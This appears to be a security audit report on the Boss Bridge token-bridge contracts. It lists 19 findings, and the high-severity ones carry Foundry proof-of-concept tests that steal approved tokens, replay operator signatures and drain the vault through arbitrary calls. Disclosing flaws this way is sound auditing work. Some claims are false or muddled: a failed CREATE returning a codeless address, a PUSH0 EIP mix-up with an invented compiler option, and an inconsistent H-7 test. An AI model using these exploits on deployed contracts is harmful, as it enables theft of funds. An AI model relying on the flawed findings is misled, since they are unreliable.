Boss Bridge Audit Report

Version 1.0

raihanmd.xyz

April 26, 2026

Boss Bridge Audit Report

Raihanmd

April 26, 2026

Prepared by: Raihanmd Lead Security Researcher:

- raihanmd

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
  - Scope
  - Roles
- Executive Summary
  - Issues found
- Findings
- High
  - [H-1] User who give approval to contract may get stolen all their token
  - [H-2] Calling `depositTokensToL2` from the Vault contract to the Vault contract allows infinite minting of unbacked tokens
  - [H-3] Lack of replay protection in `withdrawTokensToL1` allows withdrawals by signature to be replayed

  - [H-4] `L1BossBridge::sendToL1` allowing arbitrary calls enables users to call `L1Vault::approveTo` and give themselves infinite allowance of vault funds
  - [H-5] CREATE opcode does not work on zksync era
  - [H-6] L1BossBridge::depositTokensToL2's DEPOSIT_LIMIT check allows contract to be DoS'd
  - [H-7] L1BossBridge::withdrawTokensToL1 has no validation on withdrawal amount being same as deposited
  - [H-8] TokenFactory::deployToken locks tokens forever

- Medium
  - [M-1] Withdrawals are prone to unbounded gas consumption due to return bombs

- Low
  - [L-1] Missing zero-address validation in constructors
  - [L-2] Missing event emission for critical access control changes
  - [L-3] No zero-amount deposit validation
  - [L-4] Magic number for DEPOSIT_LIMIT
  - [L-5] Lack of event emission during withdrawals
  - [L-6] TokenFactory::deployToken can create multiple tokens with same symbol
  - [L-7] Unsupported opcode PUSH0

- Informational
  - [I-1] Immutable marker missing for L1Vault.token
  - [I-2] Missing return value check in low-level call
  - [I-3] Centralization risk documented but not mitigated

Protocol Summary

The Boss Bridge is a bridging mechanism to move an ERC20 token (the "Boss Bridge Token" or "BBT") from L1 to an L2 the development team claims to be building. Because the L2 part of the bridge is under construction, it was not included in the reviewed codebase.

The bridge is intended to allow users to deposit tokens, which are to be held in a vault contract on L1. Successful deposits should trigger an event that an off-chain mechanism is in charge of detecting to mint the corresponding tokens on the L2 side of the bridge.

Withdrawals must be approved operators (or "signers"). Essentially they are expected to be one or more off-chain services where users request withdrawals, and that should verify requests before signing the data users must use to withdraw their tokens. It's worth highlighting that there's little-to-no on-chain mechanism to verify withdrawals, other than the operator's signature. So the Boss Bridge heavily relies

on having robust, reliable and always available operators to approve withdrawals. Any rogue operator or compromised signing key may put at risk the entire protocol.

Disclaimer

The raihanmd team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 07af21653ab3e8a8362bf5f63eb058047f562375

Scope

- In Scope:

```
#-- src
|   #-- L1BossBridge.sol
|   #-- L1Token.sol
|   #-- L1Vault.sol
|   #-- TokenFactory.sol
```

Roles

- Bridge owner: can pause and unpause withdrawals in the L1BossBridge contract. Also, can add and remove operators. Rogue owners or compromised keys may put at risk all bridge funds.
- User: Accounts that hold BBT tokens and use the L1BossBridge contract to deposit and withdraw them.
- Operator: Accounts approved by the bridge owner that can sign withdrawal operations. Rogue operators or compromised keys may put at risk all bridge funds.

Executive Summary

We spent 4 hours with 1 security researcher, using Foundry as a framework for testing.

Issues found

Severity	Number of issues found
HIGH	8
MEDIUM	1
LOW	7
INFO	3
TOTAL	19

Findings

High

[H-1] User who give approval to contract may get stolen all their token

Description

The `depositTokensToL2()` function is intended for users who want to transfer their assets from L1 to L2 via Boss Bridge, by approving several amounts to the contract and calling this function.

However, because this function uses `from` from the function parameter, then calling `token.transferFrom()`, the user who approved the contract can be transfered their assets to anyone simply by using a `from` with the approved user, then the `to` to the attacker's address. The flow that occurs is what the user expects after they `approve()` the first transaction and then `depositTokensToL2()`. Unfortunately, everyone already knows that the user approved the amount there, so the attacker can see this action and front-run by depositing to L2 under their address.

As a PoC, include the following test in the L1BossBridge.t.sol file:

```
function testCanMoveApprovedTokensOfOtherUsers() public {
    vm.prank(user);
    token.approve(address(tokenBridge), type(uint256).max);

    uint256 depositAmount = token.balanceOf(user);
    vm.startPrank(attacker);
    vm.expectEmit(address(tokenBridge));
    emit Deposit(user, attackerInL2, depositAmount);
    tokenBridge.depositTokensToL2(user, attackerInL2, depositAmount);

    assertEq(token.balanceOf(user), 0);
    assertEq(token.balanceOf(address(vault)), depositAmount);
    vm.stopPrank();
}
```

Consider modifying the depositTokensToL2 function so that the caller cannot specify a from address.

```
- function depositTokensToL2(address from, address l2Recipient, uint256 amount) external whenNotPaused {
+ function depositTokensToL2(address l2Recipient, uint256 amount) external whenNotPaused {
    if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
        revert L1BossBridge__DepositLimitReached();
    }
-   token.transferFrom(from, address(vault), amount);
+   token.transferFrom(msg.sender, address(vault), amount);

    // Our off-chain service picks up this event and mints the corresponding tokens on L2
-   emit Deposit(from, l2Recipient, amount);
+   emit Deposit(msg.sender, l2Recipient, amount);
}
```

[H-2] Calling `depositTokensToL2` from the Vault contract to the Vault contract allows infinite minting of unbacked tokens

`depositTokensToL2` function allows the caller to specify the from address, from which tokens are taken.

Because the vault grants infinite approval to the bridge already (as can be seen in the contract's constructor), it's possible for an attacker to call the `depositTokensToL2` function and transfer tokens from the vault to the vault itself. This would allow the attacker to trigger the Deposit event any number of times, presumably causing the minting of unbacked tokens in L2.

Additionally, they could mint all the tokens to themselves.

As a PoC, include the following test in the L1TokenBridge.t.sol file:

```
function testCanTransferFromVaultToVault() public {
    vm.startPrank(attacker);

    // assume the vault already holds some tokens
    uint256 vaultBalance = 500 ether;
    deal(address(token), address(vault), vaultBalance);

    // Can trigger the `Deposit` event self-transferring tokens in the vault
    vm.expectEmit(address(tokenBridge));
    emit Deposit(address(vault), address(vault), vaultBalance);
    tokenBridge.depositTokensToL2(address(vault), address(vault), vaultBalance);

    // Any number of times
    vm.expectEmit(address(tokenBridge));
    emit Deposit(address(vault), address(vault), vaultBalance);
    tokenBridge.depositTokensToL2(address(vault), address(vault), vaultBalance);

    vm.stopPrank();
}
```

As suggested in H-1, consider modifying the depositTokensToL2 function so that the caller cannot specify a from address.

[H-3] Lack of replay protection in `withdrawTokensToL1` allows withdrawals by signature to be replayed

Users who want to withdraw tokens from the bridge can call the `sendToL1` function, or the wrapper `withdrawTokensToL1` function. These functions require the caller to send along some withdrawal

data signed by one of the approved bridge operators.

However, the signatures do not include any kind of replay-protection mechanisn (e.g., nonces). Therefore, valid signatures from any bridge operator can be reused by any attacker to continue executing withdrawals until the vault is completely drained.

As a PoC, include the following test in the `L1TokenBridge.t.sol` file:

```
function testCanReplayWithdrawals() public {
    // Assume the vault already holds some tokens
    uint256 vaultInitialBalance = 1000e18;
    uint256 attackerInitialBalance = 100e18;
    deal(address(token), address(vault), vaultInitialBalance);
    deal(address(token), address(attacker), attackerInitialBalance);

    // An attacker deposits tokens to L2
    vm.startPrank(attacker);
    token.approve(address(tokenBridge), type(uint256).max);
    tokenBridge.depositTokensToL2(attacker, attackerInL2,
        attackerInitialBalance);

    // Operator signs withdrawal.
    (uint8 v, bytes32 r, bytes32 s) =
        _signMessage(_getTokenWithdrawalMessage(attacker,
            attackerInitialBalance), operator.key);

    // The attacker can reuse the signature and drain the vault.
    while (token.balanceOf(address(vault)) > 0) {
        tokenBridge.withdrawTokensToL1(attacker, attackerInitialBalance
            , v, r, s);
    }
    assertEq(token.balanceOf(address(attacker)), attackerInitialBalance
        + vaultInitialBalance);
    assertEq(token.balanceOf(address(vault)), 0);
}
```

Consider redesigning the withdrawal mechanism so that it includes replay protection.

[H-4] `L1BossBridge::sendToL1` allowing arbitrary calls enables users to call `L1Vault::approveTo` and give themselves infinite allowance of vault funds

The `L1BossBridge` contract includes the `sendToL1` function that, if called with a valid signature by an operator, can execute arbitrary low-level calls to any given target. Because there's no restrictions neither on the target nor the calldata, this call could be used by an attacker to execute sensitive contracts of the bridge. For example, the `L1Vault` contract.

The `L1BossBridge` contract owns the `L1Vault` contract. Therefore, an attacker could submit a call

that targets the vault and executes is `approveTo` function, passing an attacker-controlled address to increase its allowance. This would then allow the attacker to completely drain the vault.

It's worth noting that this attack's likelihood depends on the level of sophistication of the off-chain validations implemented by the operators that approve and sign withdrawals. However, we're rating it as a High severity issue because, according to the available documentation, the only validation made by off-chain services is that "the account submitting the withdrawal has first originated a successful deposit in the L1 part of the bridge". As the next PoC shows, such validation is not enough to prevent the attack.

To reproduce, include the following test in the `L1BossBridge.t.sol` file:

```
function testCanCallVaultApproveFromBridgeAndDrainVault() public {
    uint256 vaultInitialBalance = 1000e18;
    deal(address(token), address(vault), vaultInitialBalance);

    // An attacker deposits tokens to L2. We do this under the assumption that the
    // bridge operator needs to see a valid deposit tx to then allow us to request a withdrawal.
    vm.startPrank(attacker);
    vm.expectEmit(address(tokenBridge));
    emit Deposit(address(attacker), address(0), 0);
    tokenBridge.depositTokensToL2(attacker, address(0), 0);

    // Under the assumption that the bridge operator doesn't validate bytes being signed
    bytes memory message = abi.encode(
        address(vault), // target
        0, // value
        abi.encodeCall(L1Vault.approveTo, (address(attacker), type(uint256).max)) // data
    );
    (uint8 v, bytes32 r, bytes32 s) = _signMessage(message, operator.key);

    tokenBridge.sendToL1(v, r, s, message);
    assertEq(token.allowance(address(vault), attacker), type(uint256).max);
    token.transferFrom(address(vault), attacker, token.balanceOf(address(vault)));
}
```

Consider disallowing attacker-controlled external calls to sensitive components of the bridge, such as the L1Vault contract.

[H-5] CREATE opcode does not work on zksync era

Based on official ZKsync era docs, CREATE opcode is used with low level yul language in `TokenFactory` when `deployToken` is called

Read more here Docs

[H-6] L1BossBridge::depositTokensToL2's DEPOSIT_LIMIT check allows contract to be DoS'd

Description

The `depositTokensToL2` function in `L1BossBridge` enforces a `DEPOSIT_LIMIT` of 100,000 ether by checking if `token.balanceOf(address(vault))+ amount > DEPOSIT_LIMIT`. This check relies on the **raw balance** of the vault, not on a tracked variable of legitimate deposits. As a result, anyone can send tokens directly to the vault contract and push its balance to the limit, permanently blocking all future deposits.

Because these tokens are "donated" directly rather than deposited through the bridge, no `Deposit` event is emitted. According to the README, the bridge operator only signs withdrawal requests for accounts that have "first originated a successful deposit" — so the donated tokens can never be withdrawn through normal bridge operations. This leaves the bridge permanently DoS'd unless the owner manually intervenes.

Additionally, an attacker can grief users by front-running their deposit transactions: if they see a large deposit in the mempool, they can send just enough tokens to the vault to push it over the limit, causing the user's transaction to revert.

As a PoC, include the following test in the `L1TokenBridge.t.sol` file:

```
function test_DepositLimitDoS_PoC() public {
    // Attacker acquires enough tokens to fill the vault to DEPOSIT_LIMIT
    uint256 depositLimit = tokenBridge.DEPOSIT_LIMIT();
    deal(address(token), attacker, depositLimit);

    // Attacker directly transfers tokens to the vault (donation attack)
    vm.startPrank(attacker);
    token.transfer(address(vault), depositLimit);
    vm.stopPrank();

    // Verify vault is now at the limit
    assertEq(token.balanceOf(address(vault)), depositLimit);

```

```
    // Legitimate user tries to deposit - should revert due to DoS
    vm.startPrank(user);
    token.approve(address(tokenBridge), 1 ether);

    vm.expectRevert(L1BossBridge.L1BossBridge__DepositLimitReached.selector);
    tokenBridge.depositTokensToL2(user, userInL2, 1 ether);
    vm.stopPrank();
}
```

Consider using a tracked variable (e.g., `totalDeposited`) instead of raw vault balance for the limit check, or allow the owner to recover incorrectly sent tokens.

[H-7] L1BossBridge::withdrawTokensToL1 has no validation on withdrawal amount being same as deposited

Description

The `withdrawTokensToL1` function allows a user to withdraw tokens from the vault by providing a valid operator signature. However, there is **no validation** that the withdrawal amount corresponds to a prior legitimate deposit made by that user through `depositTokensToL2`.

This means an attacker who has made a small deposit can request a withdrawal of a much larger amount, draining the vault beyond what was actually deposited. The only check performed is the signature verification — the operator must sign the withdrawal message, but they cannot independently verify the L1 deposit amount without additional off-chain indexing.

As a PoC, include the following test in the `L1TokenBridge.t.sol` file:

```
function test_WithdrawAmountMismatch_PoC() public {
    // Attacker makes a small deposit
    uint256 smallDeposit = 1 ether;
    vm.startPrank(attacker);
    token.approve(address(tokenBridge), smallDeposit);
    tokenBridge.depositTokensToL2(attacker, attacker, smallDeposit);
    vm.stopPrank();

    // Attacker attempts to withdraw much more than deposited
    uint256 largeWithdrawal = 1000 ether;
    bytes memory message = abi.encode(
        address(token),
        0,
        abi.encodeCall(IERC20.transferFrom, (address(vault), attacker, largeWithdrawal))
    );
    (uint8 v, bytes32 r, bytes32 s) = _signMessage(message, operator.key);
```

```

    // This succeeds because there's no amount validation against deposits
    tokenBridge.withdrawTokensToL1(attacker, largeWithdrawal, v, r, s);

    // Attacker got far more than they deposited
    assertEq(token.balanceOf(address(attacker)), largeWithdrawal);
    assertEq(token.balanceOf(address(vault)), smallDeposit - largeWithdrawal); // Underflow actually, but demonstrates the bug
}
```

Consider implementing on-chain tracking of deposited amounts per user (e.g., via a mapping) and validating withdrawals against this tracked amount.

[H-8] TokenFactory::deployToken locks tokens forever

Description

The `deployToken` function in `TokenFactory` uses the low-level `create` opcode to deploy new ERC20 contracts. If the deployment fails (e.g., due to empty bytecode or a reverting constructor), the EVM still returns an **address with no code** (not `address(0)`). The function does not validate this case — it stores the unusable address in the mapping and emits a `TokenDeployed` event, making it appear as if the deployment succeeded.

This creates two critical problems:

1. **Silent failure**: The owner believes a token was deployed, but the returned address has no code. Any calls to this "token" will fail.
2. **Locked tokens**: The mapping stores this invalid address. If anyone attempts to interact with this non-existent token address (e.g., by sending tokens to it), those tokens are permanently lost. There's no function in `TokenFactory` to recover tokens or re-deploy a token.

As a PoC, include the following test in the `TokenFactoryTest.t.sol` file:

```
function test_DeployTokenSilentFailure_PoC() public {
    // Attempt to deploy with empty bytecode - produces address with no code
    vm.prank(owner);
    address tokenAddress = tokenFactory.deployToken("FAIL", bytes(""));

    // The function returns a non-zero address (CREATE returns address with no code)
    assertTrue(tokenAddress != address(0));

    // The mapping stores this unusable address
```

```
    assertEq(tokenFactory.getTokenAddressFromSymbol("FAIL"),
        tokenAddress);

    // Check that the deployed address has no code (it's not a valid
        contract)
    uint256 codeSize;
    assembly {
        codeSize := extcodesize(tokenAddress)
    }
    assertEq(codeSize, 0);

    // Any tokens sent to this address are lost forever - it's not
        callable
}
```

Consider adding a check after the assembly to verify the deployed contract has code (e.g., `extcodesize(addr) > 0`), or use `create2` with proper salt validation to ensure deterministic deployment success.

Medium

[M-1] Withdrawals are prone to unbounded gas consumption due to return bombs

Description

The `sendToL1` function in `L1BossBridge` uses a low-level call to execute withdrawals:

```
(bool success,) = target.call{ value: value }(data);
```

This pattern is vulnerable to a "return bomb" attack. A malicious target contract can return an extremely large amount of data, causing the EVM to allocate massive memory buffers. Even though the return value is not used, Solidity still allocates memory for the full returndata, which can cause the transaction to run out of gas or grief the relayer.

An attacker who can get a signed withdrawal message (which is possible given the other vulnerabilities like signature replay) can use a malicious token contract to drain the relayer's gas or cause DoS.

Affected Code:

- `L1BossBridge.sendToL1` (line 131)

Recommendation

Use `SafeERC20` for token transfers instead of raw calls, or limit the gas forwarded to the target:

```
// Option 1: Use SafeERC20
```

```
token.safeTransferFrom(address(vault), to, amount);

// Option 2: Limit gas (less safe)
(bool success,) = target.call{ value: value, gas: 10000 }(data);
```

Low

[L-1] Missing zero-address validation in constructors

Description

The constructors of `L1BossBridge`, `L1Vault`, and `TokenFactory` do not validate that the provided address parameters are not `address(0)`. If a deployer mistakenly passes `address(0)` as the token or other critical parameters, the contract will be deployed with invalid state, potentially leading to loss of funds or broken functionality.

Affected Contracts:

- `L1BossBridge` constructor (line 44-51) - `_token` parameter not validated
- `L1Vault` constructor (line 16-18) - `_token` parameter not validated
- `TokenFactory` constructor - no issues (no address parameters)

Recommendation

Add zero-address validation at the beginning of each constructor:

```
constructor(IERC20 _token) Ownable(msg.sender) {
    if (address(_token) == address(0)) {
        revert L1BossBridge__ZeroAddress();
    }
    // ... rest of constructor
}
```

[L-2] Missing event emission for critical access control changes

Description

The `setSigner` function in `L1BossBridge` modifies the signers mapping but does not emit any event. This makes it difficult for off-chain monitoring systems to detect when a signer's privileges are changed, which is critical for a bridge operator's transparency and security auditing.

Affected Code:

- `L1BossBridge.setSigner` (line 61-63)

Recommendation

Add an event to track signer changes:

```
event SignerSet(address indexed account, bool isSigner);

// In setSigner function:
signers[account] = enabled;
emit SignerSet(account, enabled);
```

[L-3] No zero-amount deposit validation

Description

The `depositTokensToL2` function does not validate that `amount > 0`. A user could call this function with zero amount, which would emit a `Deposit` event without locking any tokens. While this doesn't directly cause fund loss, it could be used to spam the event log and potentially confuse off-chain indexers monitoring deposits.

Affected Code:

- `L1BossBridge.depositTokensToL2` (line 76-85)

Recommendation

Add a validation check:

```
require(amount > 0, "Cannot deposit zero amount");
```

[L-4] Magic number for DEPOSIT_LIMIT

Description

The `DEPOSIT_LIMIT` is hardcoded as `100_000 ether` directly in the contract code rather than being a named constant with documentation. While this works, it's considered best practice to use explicit constant declarations with NatSpec comments for magic numbers that affect protocol economics.

Affected Code:

- `L1BossBridge.DEPOSIT_LIMIT` (line 31)

Recommendation

Consider adding NatSpec documentation:

```
/// @notice Maximum total tokens that can be held in the vault at any time
/// @dev This acts as a TVL cap for the bridge
uint256 public constant DEPOSIT_LIMIT = 100_000 ether;
```

[L-5] Lack of event emission during withdrawals

Description

Neither the `sendToL1` function nor the `withdrawTokensToL1` function emit an event when a withdrawal operation is successfully executed. This prevents off-chain monitoring mechanisms from tracking withdrawals and raising alerts on suspicious scenarios.

Affected Code:

- `L1BossBridge.sendToL1` (line 121-135)
- `L1BossBridge.withdrawTokensToL1` (line 99-111)

Recommendation

Add a new event and emit it upon successful withdrawals:

```
event Withdrawal(address indexed recipient, uint256 amount);

function sendToL1(...) public nonReentrant whenNotPaused {
    // ... existing code ...

    (bool success,) = target.call{ value: value }(data);
    if (!success) {
        revert L1BossBridge__CallFailed();
    }

    emit Withdrawal(recipient, amount); // Add this
}
```

[L-6] TokenFactory::deployToken can create multiple tokens with same symbol

Description

The `deployToken` function in `TokenFactory` does not check if a token with the given symbol has already been deployed. Calling `deployToken` multiple times with the same symbol will overwrite the existing address in the mapping, potentially causing loss of reference to the original token contract.

Affected Code:

- `TokenFactory.deployToken` (line 25-31)

Recommendation

Add a check to prevent overwriting existing token addresses:

```
function deployToken(string memory symbol, bytes memory
    contractBytecode) public onlyOwner returns (address addr) {
    if (s_tokenToAddress[symbol] != address(0)) {
        revert TokenAlreadyDeployed();
    }
    // ... rest of function
}
```

[L-7] Unsupported opcode PUSH0

Description

The contracts use Solidity version 0.8.20, which may generate the `PUSH0` opcode (EIP-3855) depending on the compiler settings. However, `PUSH0` is only supported on Ethereum mainnet after the Shanghai upgrade (EIP-3860). If these contracts are deployed to chains that do not support `PUSH0` (such as certain L2s or older testnets), the deployment will fail or the contracts will be unusable.

Affected Code:

- All contract files use `pragma solidity 0.8.20;`

Recommendation

Either:

1. Use an older Solidity version (e.g., 0.8.19) that doesn't generate `PUSH0`
2. Explicitly disable `PUSH0` in the compiler settings: `"optimizer": { "enabled": true, "runs": 200, "details": { "yul": true, "optimizerDetails": { "push0_pop_rlp": false } } }`
3. Ensure deployment is only to chains supporting EIP-3860

Informational

[I-1] Immutable marker missing for L1Vault.token

Description

In `L1Vault`, the `token` state variable is marked as immutable in a comment (`//! @audit IMMUTABLE`) but is actually declared as a regular storage variable. While this doesn't cause a security issue, it's misleading and could confuse developers reviewing the code.

Affected Code:

- `L1Vault.token` (line 14)

Recommendation

Either make the variable immutable:

```
IERC20 public immutable token;
```

Or remove the misleading comment.

[I-2] Missing return value check in low-level call

Description

In `sendToL1`, the low-level call `(bool success,)= target.call{ value: value }(data);` only checks if the call reverted, but doesn't handle the case where the target returns `false` without reverting (some ERC20 tokens do this). This could lead to silent failures where the withdrawal appears to succeed but actually didn't transfer tokens.

Affected Code:

- `L1BossBridge.sendToL1` (line 131)

Recommendation

Consider using `SafeERC20` for token transfers, or add additional validation for the return value.

[I-3] Centralization risk documented but not mitigated

Description

The README explicitly states that the bridge is "centralized and owned by a single user." This is a known issue, but there's no documentation in the code itself about the risks. The bridge owner has:

- Ability to pause the bridge (can freeze all deposits/withdrawals)
- Ability to add/remove signers (can unilaterally control withdrawals)
- The vault has infinite approval to the bridge

Recommendation

Add NatSpec documentation explaining the trust assumptions and risks associated with the centralized architecture.